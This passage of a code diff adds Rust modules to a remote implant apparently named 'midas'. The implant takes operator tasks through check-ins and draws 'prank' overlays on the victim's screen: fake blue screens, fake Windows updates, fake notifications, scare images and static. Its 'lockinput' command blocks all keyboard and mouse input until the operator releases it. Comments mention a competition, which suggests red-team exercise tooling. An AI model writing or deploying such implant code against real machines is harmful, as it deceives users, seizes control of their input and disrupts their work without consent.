self.mask_h = h;
let needed = (w * h * 4) as usize;
if self.mask.len() < needed {
self.mask.resize(needed, 0);
}
// Index of the channel with the longest distance to travel. The DIB is
// BGRA, so the byte order is the reverse of `Rgba`.
let sentinel = [SENTINEL.b, SENTINEL.g, SENTINEL.r];
let target = [colour.b, colour.g, colour.r];
let mut channel = 0usize;
let mut span = 0i32;
for index in 0..3 {
let distance = (target[index] as i32 - sentinel[index] as i32).abs();
if distance > span {
span = distance;
channel = index;
}
}
// Only reachable if a painter asked for magenta text, which would be
// invisible against the sentinel anyway. Nothing to recover.
if span == 0 {
self.mask[..needed].fill(0);
return;
}
let pixels = self.scratch.pixels();
let from = sentinel[channel] as i32;
for index in 0..(w * h) as usize {
let at = index * 4;
let value = pixels[at + channel] as i32;
// Clamped rather than wrapped, so a stray colour outside the expected
// ramp cannot alias into full coverage somewhere else on the glyph.
let coverage = ((value - from) * 255 / span).clamp(0, 255) as u8;
self.mask[at] = colour.b;
self.mask[at + 1] = colour.g;
self.mask[at + 2] = colour.r;
self.mask[at + 3] = coverage;
}
}
/// Greedy word wrap against real measured widths.
///
/// The strings involved are a notification title, a notification body and a
/// desktop note, so the quadratic cost of re-measuring a candidate line is
/// irrelevant next to getting the window sized to match what gets drawn.
pub fn wrap(&mut self, text: &str, style: Style, max_width: i32) -> Vec<String> {
let max_width = max_width.max(1);
let mut lines: Vec<String> = Vec::new();
let mut current = String::new();
for word in text.split_whitespace() {
let candidate = if current.is_empty() {
word.to_string()
} else {
format!("{current} {word}")
};
if current.is_empty() || self.measure(&candidate, style) <= max_width {
current = candidate;
} else {
lines.push(std::mem::take(&mut current));
current = word.to_string();
}
}
if !current.is_empty() {
lines.push(current);
}
if lines.is_empty() {
lines.push(String::new());
}
lines
}
}
/// GDI stores colours as `0x00BBGGRR`, the reverse of how they are written here.
fn to_colorref(colour: Rgba) -> COLORREF {
(colour.r as u32) | ((colour.g as u32) << 8) | ((colour.b as u32) << 16)
}

View File

@ -0,0 +1,834 @@
//! Overlay host.
//!
//! ## Why one thread and many viewports
//!
//! winit permits exactly one `EventLoop` per process, and eframe wraps winit. So
//! "spawn a thread per overlay, each with its own eframe window" cannot work -
//! the second `run_native` would fail. The shape that does work is a single
//! long-lived thread owning the one event loop, with each overlay created as an
//! egui *viewport* from that one app.
//!
//! This is why overlays are dispatched rather than run inline. The Web UI gives
//! a task 90 seconds (`TASK_TIMEOUT_MS` in `webui/assets/js/agents.js`), and
//! Tombili executes `command.function(task)` on the check-in loop, so anything
//! slow would stall check-ins and the console would report a timeout even though
//! the overlay was working. Every visual command here returns an ack string
//! immediately.
//!
//! Overlays are closed by a deadline checked in the app's `update`, and by a
//! cancel token that `stop_all` sets from the check-in thread. The token is
//! needed because a stop can race a request that has been queued but not yet
//! picked up by the GUI thread; `STOP_EPOCH` covers that case by letting a
//! request know it was submitted before the most recent stop and cancelling it
//! the moment the GUI thread sees it.
//!
//! ## Two backends
//!
//! eframe needs a working OpenGL 3.2 implementation, and plenty of targets do
//! not have one - a VM with 3D acceleration disabled, or an RDP session. There it
//! fails during context creation, before the first frame, and it does so with a
//! panic from inside glutin rather than an error worth reading. So eframe is
//! tried first and the dependency-free GDI backend in `crate::gdi` second, and
//! the choice is remembered for the life of the process so the dead one is not
//! retried on every command. `host_status` reports which is live.
use std::collections::HashMap;
use std::sync::atomic::{AtomicBool, AtomicU64, Ordering};
use std::sync::mpsc::{self, Receiver, Sender};
use std::sync::{Arc, Mutex, OnceLock};
use std::time::{Duration, Instant, SystemTime};
mod overlay;
pub mod win;
/// What to draw. Mirrors the visual commands in `commands.rs`.
///
/// `Clone` because `submit` may have to build a second request when the backend
/// it first chose turns out to be dead, and the `String`s are small and only
/// copied on that path.
#[derive(Clone)]
pub enum Overlay {
Image {
path: String,
mode: String,
topmost: bool,
},
Scare {
path: String,
},
Bsod {
stopcode: String,
percent: i64,
},
Update {
title: String,
percent: i64,
},
Toast {
title: String,
body: String,
},
Note {
text: String,
x: i64,
y: i64,
size: i64,
},
Spook {
mode: String,
},
}
impl Overlay {
/// Short name used in listings and ack strings.
pub fn label(&self) -> &'static str {
match self {
Overlay::Image { .. } => "image",
Overlay::Scare { .. } => "scare",
Overlay::Bsod { .. } => "fakebsod",
Overlay::Update { .. } => "fakeupdate",
Overlay::Toast { .. } => "faketoast",
Overlay::Note { .. } => "desktopnote",
Overlay::Spook { .. } => "spook",
}
}
}
/// A request handed to whichever backend is running.
pub(crate) struct Request {
pub id: u64,
pub kind: Overlay,
pub duration: Option<Duration>,
pub cancel: Arc<AtomicBool>,
pub epoch: u64,
}
/// What the check-in thread can see about a running overlay. Owned by the GUI
/// thread; the check-in thread only reads it and sets the cancel token.
pub struct Active {
pub id: u64,
pub label: &'static str,
pub born: SystemTime,
pub deadline: Option<Instant>,
pub cancel: Arc<AtomicBool>,
}
static ACTIVE: OnceLock<Arc<Mutex<HashMap<u64, Active>>>> = OnceLock::new();
static NEXT_ID: AtomicU64 = AtomicU64::new(1);
static STOP_EPOCH: AtomicU64 = AtomicU64::new(0);
fn registry() -> &'static Arc<Mutex<HashMap<u64, Active>>> {
ACTIVE.get_or_init(|| Arc::new(Mutex::new(HashMap::new())))
}
/// The renderer an overlay host is using.
#[derive(Clone, Copy, PartialEq, Eq, Debug)]
enum Backend {
/// `gui/overlay.rs`. Needs OpenGL 3.2, and looks the better of the two.
Egui,
/// `crate::gdi`. Needs nothing but GDI.
Gdi,
}
impl Backend {
fn label(self) -> &'static str {
match self {
Backend::Egui => "eframe",
Backend::Gdi => "gdi",
}
}
}
/// How long a newly started backend is given to fail before it is called working.
///
/// The failure being guarded against happens during startup - eframe's OpenGL
/// context is created before its first frame - so a thread still running after
/// this window is one that got past it. Deliberately not long: a working host
/// should not delay the operator's first prank, and the GDI backend is only
/// reached once per process anyway.
const STARTUP_PROBE: Duration = Duration::from_millis(300);
/// The channel to the overlay thread, plus the reason it is not usable.
///
/// A `Mutex<Option<..>>` rather than a `OnceLock`, deliberately. A backend can
/// die for reasons that are nobody's fault, and a `OnceLock` cannot be
/// re-initialised. One failure would then poison every overlay command for the
/// life of the process with a message that named none of the cause. Bringing the
/// thread back up is cheap, so it is done.
struct Host {
sender: Option<Sender<Request>>,
/// Kept only so `is_finished` can be asked. A finished thread has dropped
/// its `Receiver`, which is what turns every later `send` into a failure.
handle: Option<std::thread::JoinHandle<()>>,
backend: Option<Backend>,
}
static HOST: OnceLock<Mutex<Host>> = OnceLock::new();
/// Why the last backend stopped, recorded by the dying thread.
///
/// Deliberately *not* inside `Host`. A backend that fails during startup does so
/// on its own thread, and it has to be able to record why without waiting on the
/// host lock - because `sender` holds that lock across the startup probe in
/// order to see the thread die. A `Mutex<Option<String>>` rather than an
/// `AtomicU64` index into a table, because the reason is a `String` and the whole
/// point is to surface it.
static FAILURE: Mutex<Option<String>> = Mutex::new(None);
/// Backends that have been found not to work on this target.
///
/// Not a single flag, because a backend that dies *after* it was reported as
/// running has to be retired too - see `submit`. A `static` rather than a
/// `OnceLock` because the only state is "never try this again", and both flags
/// are read on the path of every visual command.
struct Unusable {
egui: AtomicBool,
gdi: AtomicBool,
}
static UNUSABLE: Unusable = Unusable {
egui: AtomicBool::new(false),
gdi: AtomicBool::new(false),
};
impl Unusable {
fn get(&self, backend: Backend) -> bool {
match backend {
Backend::Egui => self.egui.load(Ordering::Relaxed),
Backend::Gdi => self.gdi.load(Ordering::Relaxed),
}
}
fn retire(&self, backend: Backend) {
match backend {
Backend::Egui => self.egui.store(true, Ordering::Relaxed),
Backend::Gdi => self.gdi.store(true, Ordering::Relaxed),
}
}
/// The backends still worth trying, best first.
///
/// The retired one still appears, second, so that a target where both are
/// dead gets a thread attempt and a real reason rather than the weaker
/// "nothing is left to try". `sender` short-circuits that case.
fn candidates(&self) -> [Backend; 2] {
if self.get(Backend::Egui) {
[Backend::Gdi, Backend::Egui]
} else {
[Backend::Egui, Backend::Gdi]
}
}
/// True once neither backend is worth starting.
fn exhausted(&self) -> bool {
self.get(Backend::Egui) && self.get(Backend::Gdi)
}
}
fn host() -> &'static Mutex<Host> {
HOST.get_or_init(|| {
Mutex::new(Host {
sender: None,
handle: None,
backend: None,
})
})
}
/// Called by a backend's thread as it shuts down, so the check-in thread can
/// report *why* rather than only that something went wrong.
///
/// Takes no host lock. See `FAILURE` for why that matters. Clearing the cached
/// sender and handle is left to `sender`, which has to inspect them anyway and
/// can see for itself that the thread is gone.
pub(crate) fn record_host_failure(reason: String) {
crate::log::log(&format!("overlay host stopped: {reason}"));
match FAILURE.lock() {
Ok(mut failure) => *failure = Some(reason),
Err(_) => return,
}
// A backend's `on_exit`-equivalent only runs on a graceful shutdown, so a
// failed or panicked host leaves its overlays behind as ghosts -
// `listoverlays` would report them as running and `stopall` would count them.
// Nothing is alive at this point, so clear them.
if let Ok(mut active) = registry().lock() {
active.clear();
}
}
/// Whether an interactive desktop is reachable at all.
///
/// Without this the overlay thread starts, window creation fails, and the operator
/// gets an opaque error from a command that otherwise looks fine.
fn display_available() -> bool {
crate::info::gui_available()
}
/// The outcome of trying to start a backend.
enum Started {
Ready(Sender<Request>),
Died(String),
}
/// Starts a backend, or reports why it could not stay up.
fn start(backend: Backend, entry: fn(Receiver<Request>)) -> Started {
let (tx, rx) = mpsc::channel::<Request>();
// Stale, so a later failure is not reported alongside a fresh thread that is
// working.
if let Ok(mut failure) = FAILURE.lock() {
*failure = None;
}
let handle = std::thread::Builder::new()
.name(format!("midas-{}", backend.label()))
.spawn(move || entry(rx));
let handle = match handle {
Ok(handle) => handle,
Err(e) => {
return Started::Died(format!("could not start the {} thread: {e}", backend.label()))
}
};
if !survives_startup(&handle) {
return Started::Died(failure_reason().unwrap_or_else(|| {
format!("the {} backend stopped during startup", backend.label())
}));
}
let Ok(mut host) = host().lock() else {
return Started::Ready(tx);
};
host.sender = Some(tx.clone());
host.handle = Some(handle);
host.backend = Some(backend);
Started::Ready(tx)
}
/// Waits out `STARTUP_PROBE`, reporting whether the thread is still running.
fn survives_startup(handle: &std::thread::JoinHandle<()>) -> bool {
let deadline = Instant::now() + STARTUP_PROBE;
while Instant::now() < deadline {
if handle.is_finished() {
return false;
}
std::thread::sleep(Duration::from_millis(10));
}
!handle.is_finished()
}
fn failure_reason() -> Option<String> {
FAILURE.lock().ok().and_then(|reason| reason.clone())
}
/// Returns the sender of the running host, starting one if needed, and which
/// backend it belongs to.
///
/// The backend comes back because a backend that turns out to be dead is only
/// useful to the caller if the caller can retire it. See `submit`.
///
/// Liveness is asked rather than assumed. The cached sender outlives a dead
/// thread, and sending on it only fails once an operator has already been told
/// an overlay opened, so the check happens before the ack is produced.
fn sender() -> Result<(Sender<Request>, Backend), String> {
if !display_available() {
return Err(
"this session has no interactive desktop, so no window can be created".to_string(),
);
}
{
let Ok(mut host) = host().lock() else {
return Err("overlay host state is poisoned".to_string());
};
// A dead thread's cached sender is dropped here rather than discovered at
// the send below, which would be after the operator had been told the
// overlay opened.
if host.handle.as_ref().is_some_and(|h| h.is_finished()) {
host.sender = None;
host.handle = None;
host.backend = None;
}
if let (Some(tx), Some(backend)) = (&host.sender, host.backend) {
return Ok((tx.clone(), backend));
}
}
// The lock is deliberately released for the rest of this function. A backend
// that fails while starting records the reason in `FAILURE` and then returns,
// and it can only reach that return while `survives_startup` is watching for
// the thread to end - which it cannot do if the thread is stuck waiting on a
// lock this function is holding.
if UNUSABLE.exhausted() {
return Err(format!(
"the overlay host is not running: {}",
failure_reason().unwrap_or_else(|| "no backend is usable".to_string())
));
}
let mut last = String::new();
for backend in UNUSABLE.candidates() {
match start(backend, entry_for(backend)) {
Started::Ready(tx) => return Ok((tx, backend)),
Started::Died(reason) => {
crate::log::log(&format!(
"{} overlay backend unavailable: {reason}",
backend.label()
));
UNUSABLE.retire(backend);
last = reason;
}
}
}
Err(format!("the overlay host is not running: {last}"))
}
/// The thread entry point for a backend.
fn entry_for(backend: Backend) -> fn(Receiver<Request>) {
match backend {
Backend::Egui => overlay::run,
Backend::Gdi => crate::gdi::run,
}
}
fn submit(kind: Overlay, duration: Option<Duration>) -> Result<u64, String> {
// One retry, and this is the part that makes the fallback reliable.
//
// `STARTUP_PROBE` is a guess at how long startup takes. When eframe finds no
// OpenGL immediately the guess is generous enough and the retry never
// happens - but software GL is slow, and a context that takes half a second
// to fail looks alive to the probe. The probe then hands back a sender for a
// thread that is already on its way out, and without a retry every later
// command would start eframe again, watch it die again, and fail identically
// - the fallback would never be reached at all, which is the exact situation
// it exists for.
//
// Detecting the death on the send instead of trying to predict it costs one
// attempt and has no window in which it can be wrong.
let mut last = String::new();
for _ in 0..2 {
let (tx, backend) = sender()?;
// Allocated per attempt rather than once, because a retry must be a
// distinct overlay id - reusing the first would overwrite the registry
// entry of an overlay that never opened.
let id = NEXT_ID.fetch_add(1, Ordering::Relaxed);
let request = Request {
id,
kind: kind.clone(),
duration,
cancel: Arc::new(AtomicBool::new(false)),
epoch: STOP_EPOCH.load(Ordering::Relaxed),
};
if tx.send(request).is_ok() {
return Ok(id);
}
last = failure_reason().unwrap_or_else(|| {
format!(
"the {} backend stopped while the command was being sent",
backend.label()
)
});
crate::log::log(&format!("{last}; retiring it"));
UNUSABLE.retire(backend);
forget_host(backend);
}
Err(format!("the overlay host is not running: {last}"))
}
/// Drops a retired backend's cached sender and handle.
///
/// Called on the failure path only, so the handle is detached rather than
/// joined - joining would block the check-in loop for however long the thread
/// takes to unwind, and there is nothing to collect.
fn forget_host(backend: Backend) {
if let Ok(mut host) = host().lock() {
if host.backend == Some(backend) {
host.sender = None;
host.handle = None;
host.backend = None;
}
}
}
/// Whether the overlay host is running, which backend it is, and if it is not
/// running, why.
///
/// Surfaced by `sysinfo` so the situation is visible before a prank is sent
/// rather than discovered from a task result.
pub fn host_status() -> String {
let mut status = match host().lock() {
Ok(host) if host.handle.as_ref().is_some_and(|h| !h.is_finished()) => {
let backend = host.backend.map(Backend::label).unwrap_or("unknown");
format!("overlay host: running ({backend})")
}
// Dropped for the same reason `sender` drops it: the entry describes a
// thread that no longer exists.
Ok(mut host) => {
if host.handle.as_ref().is_some_and(|h| h.is_finished()) {
host.sender = None;
host.handle = None;
host.backend = None;
}
match failure_reason() {
Some(reason) => format!("overlay host: not running - {reason}"),
None => "overlay host: not started yet".to_string(),
}
}
Err(_) => "overlay host: state is poisoned".to_string(),
};
if UNUSABLE.get(Backend::Egui) {
status.push_str("; eframe unavailable, using gdi");
}
status
}
// ---------------------------------------------------------------------------
// Public surface used by commands.rs
// ---------------------------------------------------------------------------
pub fn open_image(
path: &str,
mode: &str,
duration: Option<Duration>,
topmost: bool,
) -> Result<u64, String> {
require_readable_file(path)?;
submit(
Overlay::Image {
path: path.to_string(),
mode: mode.to_string(),
topmost,
},
duration,
)
}
pub fn open_scare(path: &str, duration: Option<Duration>) -> Result<u64, String> {
require_readable_file(path)?;
submit(
Overlay::Scare {
path: path.to_string(),
},
duration,
)
}
pub fn open_bsod(stopcode: &str, percent: i64, duration: Option<Duration>) -> Result<u64, String> {
submit(
Overlay::Bsod {
stopcode: stopcode.to_string(),
percent,
},
duration,
)
}
pub fn open_update(title: &str, percent: i64, duration: Option<Duration>) -> Result<u64, String> {
submit(
Overlay::Update {
title: title.to_string(),
percent,
},
duration,
)
}
pub fn open_toast(title: &str, body: &str, duration: Option<Duration>) -> Result<u64, String> {
submit(
Overlay::Toast {
title: title.to_string(),
body: body.to_string(),
},
duration,
)
}
pub fn open_note(
text: &str,
x: i64,
y: i64,
size: i64,
duration: Option<Duration>,
) -> Result<u64, String> {
submit(
Overlay::Note {
text: text.to_string(),
x,
y,
size,
},
duration,
)
}
pub fn open_spook(mode: &str, duration: Option<Duration>) -> Result<u64, String> {
submit(
Overlay::Spook {
mode: mode.to_string(),
},
duration,
)
}
/// Cancels every overlay - including any that is still queued - ends sound, and
/// releases any running input hold.
///
/// Returns how many overlays were running. A request submitted after this call
/// is unaffected, which is what makes `stopall` usable as a cleanup step in
/// front of a fresh prank.
pub fn stop_all() -> usize {
// Bumping the epoch first means a request submitted after this point is
// unaffected, while anything queued before it is cancelled on arrival.
STOP_EPOCH.fetch_add(1, Ordering::SeqCst);
// `PlaySoundW` has no process to kill and cannot be interrupted any other
// way; re-issuing it with a null sound is the documented way to stop it.
win::stop_sound();
// A continuous `lockinput` is unblocked here. It has to be: there is
// nothing else that can end one, and input held until nothing can end it is
// the one outcome `stopall` exists to prevent.
release_input_lock();
let registry = registry();
let Ok(active) = registry.lock() else {
return 0;
};
let count = active.len();
for entry in active.values() {
entry.cancel.store(true, Ordering::SeqCst);
}
count
}
// ---------------------------------------------------------------------------
// Input hold (`lockinput`)
//
// `BlockInput` is a single system-wide flag: there is no handle to whoever set
// it, no way to ask who holds it, and clearing it clears it for everyone. So
// holds are serialised by generation rather than by handing out and revoking
// tokens. A hold is the current one or it is nothing; a superseded hold gives
// up without touching the flag, and `release_input_lock` (used by `stopall`)
// clears the flag directly and bumps the generation so the holder sees it no
// longer owns anything.
// ---------------------------------------------------------------------------
/// Serial number of the current input hold.
///
/// Incremented when a new hold starts and when `stopall` releases. A holder
/// unblocks only if it is still the current generation when its turn ends, so
/// an overtaken hold can never clear a newer one's block.
static INPUT_GEN: AtomicU64 = AtomicU64::new(0);
/// A running `lockinput` hold, so `sysinfo` and `stopall` can see and end it.
#[derive(Clone)]
struct InputHold {
gen: u64,
born: SystemTime,
}
static INPUT_HOLD: OnceLock<Mutex<Option<InputHold>>> = OnceLock::new();
fn input_hold() -> &'static Mutex<Option<InputHold>> {
INPUT_HOLD.get_or_init(|| Mutex::new(None))
}
/// The generation of the current hold, read by `win::hold_input`.
pub(crate) fn current_input_gen() -> u64 {
INPUT_GEN.load(Ordering::SeqCst)
}
/// Starts an input hold and returns immediately.
///
/// `seconds == 0` holds until `stopall`; anything else is an approximate
/// timeout (the worker polls, so the real release lands within 100 ms of the
/// mark). The `BlockInput` call itself happens on the worker thread, so an
/// implant that is not elevated acks optimistically and reports the refusal in
/// its own log, exactly as before - and clears the registry entry so `sysinfo`
/// never claims a lock exists when it does not.
pub fn lock_input(seconds: u64) -> Result<(), String> {
let duration = if seconds == 0 {
None
} else {
Some(Duration::from_secs(seconds))
};
// A new hold supersedes any running one. Bumping *before* the new holder
// blocks means an older holder that finishes in the same instant sees it is
// no longer current and does not clear the new block.
let gen = INPUT_GEN.fetch_add(1, Ordering::SeqCst) + 1;
if let Ok(mut hold) = input_hold().lock() {
*hold = Some(InputHold {
gen,
born: SystemTime::now(),
});
}
detach(move || {
if let Err(e) = win::hold_input(gen, duration) {
crate::log::log_lazy(|| format!("lockinput failed: {e}"));
}
// Clear the registry entry, but only if it still describes this hold -
// a newer one may have taken over while the worker was finishing.
if let Ok(mut hold) = input_hold().lock() {
if hold.as_ref().is_some_and(|h| h.gen == gen) {
*hold = None;
}
}
});
Ok(())
}
/// Whether a `lockinput` hold is registered as running.
pub fn input_lock_active() -> bool {
input_hold()
.lock()
.map(|hold| hold.is_some())
.unwrap_or(false)
}
/// The status line for `sysinfo`, or `None` when nothing is held.
pub fn input_lock_status() -> Option<String> {
let hold = input_hold().lock().ok().and_then(|h| h.clone())?;
let age = hold.born.elapsed().map(|d| d.as_secs()).unwrap_or(0);
Some(format!("input lock: active for {age}s, until stopall"))
}
/// Ends any running input hold.
///
/// Idempotent and safe to call when nothing is held: clearing the flag is a
/// no-op for an unlocked system, which is how `stopall` can do it on every
/// call. The generation bump stops the holding thread from clearing the flag it
/// no longer owns - by the time it notices, `unblock_input` has already cleared
/// it, and re-clearing is harmless anyway.
pub fn release_input_lock() {
INPUT_GEN.fetch_add(1, Ordering::SeqCst);
win::unblock_input();
if let Ok(mut hold) = input_hold().lock() {
*hold = None;
}
}
/// Checks a file exists and is readable before an ack is sent.
///
/// The GUI thread decodes the image itself, but by then the operator has
/// already been told the overlay launched. A cheap up-front check means a
/// mistyped path comes back as a failed task result instead of an ack for an
/// overlay that never appeared.
pub fn require_readable_file(path: &str) -> Result<(), String> {
if path.trim().is_empty() {
return Err("path is empty".into());
}
let metadata = std::fs::metadata(path).map_err(|e| format!("{path}: {e}"))?;
if !metadata.is_file() {
return Err(format!("{path} is not a file"));
}
Ok(())
}
pub fn describe_overlays() -> String {
let registry = registry();
let Ok(active) = registry.lock() else {
return "overlay registry is poisoned".to_string();
};
if active.is_empty() {
return "no overlays running".to_string();
}
let mut lines: Vec<String> = active
.values()
.map(|entry| {
let age = entry
.born
.elapsed()
.map(|d| d.as_secs())
.unwrap_or(0);
let lifetime = match entry.deadline {
Some(deadline) => {
let left = deadline.saturating_duration_since(Instant::now()).as_secs();
format!("{age}s old, {left}s left")
}
None => format!("{age}s old, until stopall"),
};
format!("#{} {} ({lifetime})", entry.id, entry.label)
})
.collect();
lines.sort();
lines.join("\n")
}
/// Runs a blocking native call on a worker thread and returns immediately.
///
/// Used for everything that would otherwise hold the check-in loop: modal
/// dialogs, audio, window shaking, input blocking. Panics from raw OS calls are
/// contained so a failed prank cannot take the implant down mid-competition.
pub fn detach<F>(work: F)
where
F: FnOnce() + Send + 'static,
{
std::thread::spawn(move || {
let _ = std::panic::catch_unwind(std::panic::AssertUnwindSafe(work));
});
}
// ---------------------------------------------------------------------------
// Called by the GUI thread
// ---------------------------------------------------------------------------
pub(crate) fn register_active(active: Active) {
if let Ok(mut registry) = registry().lock() {
registry.insert(active.id, active);
}
}
pub(crate) fn unregister_active(id: u64) {
if let Ok(mut registry) = registry().lock() {
registry.remove(&id);
}
}
pub(crate) fn current_stop_epoch() -> u64 {
STOP_EPOCH.load(Ordering::SeqCst)
}
// ---------------------------------------------------------------------------
// Stopping things that block
//
// Windows needs none of the polling machinery a process-based backend would.
// `PlaySoundW` is in-process and is ended by calling it again with a null
// sound; a message box is dismissed with its own OK button; a blocked cursor is
// restored by the thread that moved it; a `BlockInput` hold is ended by
// clearing the system-wide flag directly (see `Input hold` above). `stop_all`
// reaches each of those directly, which is why it returns immediately rather
// than waiting for anything to wind down.
// ---------------------------------------------------------------------------

View File

@ -0,0 +1,969 @@
//! The egui application that hosts every overlay.
//!
//! One `eframe` instance, one winit event loop, many viewports. See the module
//! docs in `gui/mod.rs` for why that is the only shape that works.
//!
//! Overlays are drawn rather than borrowed from native widgets because there is
//! no native "fake blue screen" to borrow. The exception is `msgbox`, which uses
//! the real `MessageBoxW` on Windows precisely *because* a genuine system dialog
//! is the joke - see `gui/win.rs`.
//!
//! ## Drawing style
//!
//! Each overlay's callback shows an empty `CentralPanel` purely to obtain a
//! `LayerId` and the viewport's available rect, then paints with the returned
//! `Painter`. That is deliberate: the panels' default frame, margins and
//! `CentralPanel` styling are all unwanted for a full-bleed fake dialog, and
//! painting directly keeps every element positioned in absolute pixels.
use std::collections::HashMap;
use std::sync::atomic::Ordering;
use std::sync::mpsc::Receiver;
use std::time::{Duration, Instant, SystemTime};
use egui::{
pos2, vec2, Align2, CentralPanel, Color32, Context, FontId, Frame, Painter, Pos2, Rect, Stroke,
TextureHandle, TextureOptions, Vec2, ViewportBuilder, ViewportId, WindowLevel,
};
use super::{current_stop_epoch, register_active, unregister_active, Active, Overlay, Request};
use crate::rng::Rng;
/// Animated overlays redraw on this cadence. A full-rate repaint would peg a
/// core for the lifetime of a `spook` overlay; 20fps is plenty for static.
const SPOOK_FRAME_MS: u64 = 50;
/// Textures larger than this are downscaled before upload.
///
/// The ceiling is not arbitrary: egui's default `max_texture_side` is 2048, and
/// `load_texture` debug-asserts against it. Going above that would need the
/// context's option changed as well.
const MAX_TEXTURE_DIM: u32 = 2048;
/// The UV rectangle covering a whole texture.
const UV_FULL: Rect = Rect {
min: Pos2::ZERO,
max: pos2(1.0, 1.0),
};
/// Decoded, ready-to-draw overlay state.
enum Content {
Image {
texture: TextureHandle,
natural: Vec2,
mode: String,
topmost: bool,
},
Bsod {
stopcode: String,
percent: i64,
},
Update {
title: String,
percent: i64,
},
Toast {
title: String,
body: String,
},
Note {
text: String,
x: f32,
y: f32,
size: f32,
},
Spook {
mode: String,
},
}
struct Live {
content: Content,
cancel: std::sync::Arc<std::sync::atomic::AtomicBool>,
deadline: Option<Instant>,
}
// ---------------------------------------------------------------------------
// Entry point
// ---------------------------------------------------------------------------
pub(crate) fn run(rx: Receiver<Request>) {
let options = eframe::NativeOptions {
// The root viewport is never shown; every visible surface is a child
// viewport. Without this there is a stray 1x1 window on the desktop.
viewport: ViewportBuilder::default()
.with_app_id("midas-root")
.with_visible(false)
.with_decorations(false)
.with_inner_size([1.0, 1.0]),
..Default::default()
};
// Both an error and a panic have to be reported rather than swallowed.
//
// `run_native` returning is the only signal the check-in thread gets, and it
// only ever learns "the channel is dead" - which says nothing about the
// cause. The overwhelmingly common cause is a target with no usable OpenGL
// implementation, such as a bare VM or an RDP session, where context
// creation fails before the first frame. That is an operator-facing fact:
// every overlay command will fail on this host, and the reason should come
// back in the task result instead of a generic message.
let outcome = std::panic::catch_unwind(std::panic::AssertUnwindSafe(|| {
eframe::run_native(
"midas",
options,
Box::new(move |_cc| Ok(Box::new(OverlayApp { rx, live: HashMap::new() }))),
)
}));
let reason = match outcome {
Ok(Ok(())) => "the overlay event loop exited on its own".to_string(),
Ok(Err(e)) => format!("could not start the overlay event loop: {e}"),
Err(panic) => {
// A panic payload is a `&str` or `String` depending on how it was
// raised, and anything else is not worth printing.
let payload = panic
.downcast_ref::<&str>()
.map(|s| (*s).to_string())
.or_else(|| panic.downcast_ref::<String>().cloned())
.unwrap_or_else(|| "(no message)".to_string());
format!(
"the overlay event loop panicked: {}",
crate::log::normalise_panic(&payload)
)
}
};
super::record_host_failure(reason);
}
struct OverlayApp {
rx: Receiver<Request>,
live: HashMap<u64, Live>,
}
impl eframe::App for OverlayApp {
fn update(&mut self, ctx: &Context, _frame: &mut eframe::Frame) {
self.drain(ctx);
self.expire();
let screen = screen_rect(ctx);
let time = ctx.input(|i| i.time);
let ids: Vec<u64> = self.live.keys().copied().collect();
let mut animated: Vec<ViewportId> = Vec::new();
for id in ids {
let Some(live) = self.live.get_mut(&id) else {
continue;
};
let viewport_id = ViewportId::from_hash_of(id);
let builder = live.content.builder(ctx, id, screen);
if live.content.animated() {
animated.push(viewport_id);
}
// A viewport stays alive for as long as `show_viewport_immediate` is
// called with the same id, so dropping the entry in `expire` is what
// closes the window.
ctx.show_viewport_immediate(viewport_id, builder, |ctx, _class| {
let panel = CentralPanel::default()
.frame(Frame::none())
.show(ctx, |_ui| {});
let rect = panel.response.rect;
let mut painter = panel.response.ctx.layer_painter(panel.response.layer_id);
painter.set_clip_rect(rect);
live.content.draw(&mut painter, rect, time, id);
});
}
// Repaints are requested per-viewport so the other overlays do not have
// to be redrawn 20 times a second just because one is animating.
for viewport_id in animated {
ctx.request_repaint_after_for(Duration::from_millis(SPOOK_FRAME_MS), viewport_id);
}
}
fn on_exit(&mut self, _gl: Option<&eframe::glow::Context>) {
for id in self.live.keys() {
unregister_active(*id);
}
self.live.clear();
}
}
impl OverlayApp {
fn drain(&mut self, ctx: &Context) {
while let Ok(request) = self.rx.try_recv() {
// A stop that landed between submission and this drain wins. See the
// STOP_EPOCH note in gui/mod.rs.
if request.epoch < current_stop_epoch() {
continue;
}
match prepare(&request, ctx) {
Ok(content) => {
let deadline = request.duration.map(|d| Instant::now() + d);
register_active(Active {
id: request.id,
label: request.kind.label(),
born: SystemTime::now(),
deadline,
cancel: request.cancel.clone(),
});
self.live.insert(
request.id,
Live {
content,
cancel: request.cancel,
deadline,
},
);
}
Err(e) => {
// Paths are checked before the ack is sent, so reaching here
// means the file became unreadable, or stopped being a
// decodable image, in between.
crate::log::log(&format!("overlay {} failed: {e}", request.id));
}
}
}
}
fn expire(&mut self) {
let now = Instant::now();
let expired: Vec<u64> = self
.live
.iter()
.filter(|(_, live)| {
live.cancel.load(Ordering::SeqCst)
|| live.deadline.is_some_and(|d| now >= d)
})
.map(|(id, _)| *id)
.collect();
for id in expired {
self.live.remove(&id);
unregister_active(id);
}
}
}
/// The whole screen, falling back to a plausible desktop if the backend has not
/// reported one yet.
fn screen_rect(ctx: &Context) -> Rect {
let rect = ctx.input(|i| i.screen_rect);
if rect.width() > 0.0 && rect.height() > 0.0 {
rect
} else {
// Reported as `Rect::NOTHING` until the first frame completes, which
// would otherwise produce zero-sized viewports on the first pass.
Rect::from_min_size(Pos2::ZERO, vec2(1920.0, 1080.0))
}
}
// ---------------------------------------------------------------------------
// Preparation
// ---------------------------------------------------------------------------
fn prepare(request: &Request, ctx: &Context) -> Result<Content, String> {
match &request.kind {
Overlay::Image {
path,
mode,
topmost,
} => {
let (texture, natural) = load_texture(ctx, path)?;
Ok(Content::Image {
texture,
natural,
mode: mode.clone(),
topmost: *topmost,
})
}
// A scare is just a fullscreen image; the sound half is played by the
// command layer so this side stays purely visual.
Overlay::Scare { path } => {
let (texture, natural) = load_texture(ctx, path)?;
Ok(Content::Image {
texture,
natural,
mode: "fullscreen".to_string(),
topmost: true,
})
}
Overlay::Bsod { stopcode, percent } => Ok(Content::Bsod {
stopcode: stopcode.clone(),
percent: *percent,
}),
Overlay::Update { title, percent } => Ok(Content::Update {
title: title.clone(),
percent: *percent,
}),
Overlay::Toast { title, body } => Ok(Content::Toast {
title: title.clone(),
body: body.clone(),
}),
Overlay::Note { text, x, y, size } => Ok(Content::Note {
text: text.clone(),
x: *x as f32,
y: *y as f32,
size: *size as f32,
}),
Overlay::Spook { mode } => Ok(Content::Spook {
mode: mode.clone(),
}),
}
}
fn load_texture(ctx: &Context, path: &str) -> Result<(TextureHandle, Vec2), String> {
let bytes = std::fs::read(path).map_err(|e| format!("{path}: {e}"))?;
let decoded = image::load_from_memory(&bytes)
.map_err(|e| format!("{path}: {e}"))?
.to_rgba8();
